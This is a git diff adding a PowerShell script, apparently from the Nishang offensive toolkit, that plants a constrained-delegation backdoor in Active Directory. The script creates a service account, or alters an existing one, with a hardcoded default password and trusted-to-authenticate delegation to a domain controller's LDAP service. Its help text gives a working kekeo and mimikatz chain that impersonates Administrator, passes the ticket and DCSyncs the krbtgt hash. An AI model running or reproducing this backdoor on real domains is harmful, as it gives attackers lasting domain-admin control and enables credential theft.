diff --git a/Backdoors/ConstrainedDelegation-Backdoor.ps1 b/Backdoors/ConstrainedDelegation-Backdoor.ps1
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+++ b/Backdoors/ConstrainedDelegation-Backdoor.ps1
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+function ConstrainedDelegation-Backdoor
+{
+<#
+.SYNOPSIS
+Nishang Script which could add constrained delegation backdoor service accounts or add constrained delegation backdoor functionality to existing service accounts.
+
+.DESCRIPTION
+This script will add a new service account which is allowed to delegate to some exploitable services, e.g ldap/DC.LAB.LOCAL.
+Attackers can use this backdoor service account to get TGS of ldap/DC.LAB.LOCAL through s4u2self and s4u2proxy protocol.
+
+Attack example:
+kekeo.exe "tgt::ask /user:backdoor_svc /domain:lab.local /password:d1ive@Dubhe" exit
+kekeo.exe "tgs::s4u /tgt:TGT_backdoor_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:ldap/DC.lab.local" exit
+mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_ldap~DC2.lab.local@LAB.LOCAL.kirbi" exit
+mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:lab.local" exit
+
+This script needs to be executed from a shell with domain administrator privileges.
+
+.PARAMETER Name
+Service account name
+
+.PARAMETER SamAccountName
+Service sam account name
+
+.PARAMETER Password
+Password of the backdoor service account 
+
+.PARAMETER DomainName
+Current domain name
+
+.PARAMETER ServicePrincipalName
+Backdoor service principal name
+
+.PARAMETER AllowedToDelegateTo
+Principle Name of the service which the backdoor service account is allowed to delegate to 
+
+.EXAMPLE
+PS > ConstrainedDelegation-Backdoor -SamAccountName backdoor -Password d1ive@Dubhe -DomainName lab.local -AllowedToDelegateTo ldap/DC.lab.local
+Use above command to create a new backdoor service account named "backdoor"
+
+.EXAMPLE
+PS > ConstrainedDelegation-Backdoor -SamAccountName iis_svc -DomainName lab.local -AllowedToDelegateTo ldap/DC.lab.local
+Use above command to add backdoor functionality to the iis_svc service account. 
+It should be noted that the attacker needs to know the password of iis_svc.
+
+.LINK
+https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/
+#>
+    # If you do not have AD module, you can refer to the following link.
+    # https://github.com/samratashok/ADModule
+
+    #Requires -Modules ActiveDirectory
+
+    [CmdletBinding()] Param(
+        [Parameter(Position = 0, Mandatory = $False)]
+        [String]
+        $Name,
+
+        [Parameter(Position = 1, Mandatory = $True)]
+        [String]
+        $SamAccountName,
+
+        [Parameter(Position = 2, Mandatory = $False)]
+        [String]
+        $UserPrincipalName,
+
+        [Parameter(Position = 3, Mandatory = $False)]
+        [String]
+        $Password,
+
+        [Parameter(Position = 4, Mandatory = $True)]
+        [String]
+        $DomainName,
+
+        [Parameter(Position = 5, Mandatory = $False)]
+        [String]
+        $ServicePrincipalName,
+
+        [Parameter(Position = 6, Mandatory = $True)]
+        [String]
+        $AllowedToDelegateTo
+    )
+
+    if (!$Name) {
+        $Name = $SamAccountName
+    }
+
+    if (!$UserPrincipalName) {
+        $UserPrincipalName = $SamAccountName + "@" + $DomainName
+    }
+
+    if (!$ServicePrincipalName) {
+        $ServicePrincipalName = $SamAccountName + "/" + $DomainName
+    }
+
+    if (!$Password) {
+        $Password = "d1ive@Dubhe"
+    }
+    
+    Try {
+        $user = Get-ADUser $SamAccountName -Properties "msDS-AllowedToDelegateTo"
+        Write-Host "SamAccountName '$SamAccountName' already exists. Add 'msDS-AllowedToDelegateTo $AllowedToDelegateTo' to '$SamAccountName'."
+    } Catch [Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException] {
+        New-ADUser -Name "$Name" -SamAccountName $SamAccountName -UserPrincipalName $UserPrincipalName -ServicePrincipalNames "$ServicePrincipalName" -AccountPassword (convertto-securestring "$Password" -asplaintext -force)  -PasswordNeverExpires $True  -PassThru | Enable-ADAccount
+        $user = Get-ADUser $SamAccountName -Properties "msDS-AllowedToDelegateTo"
+    }
+    Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @( "$AllowedToDelegateTo" ) }
+    Set-ADAccountControl $user -TrustedToAuthForDelegation $true
+}
+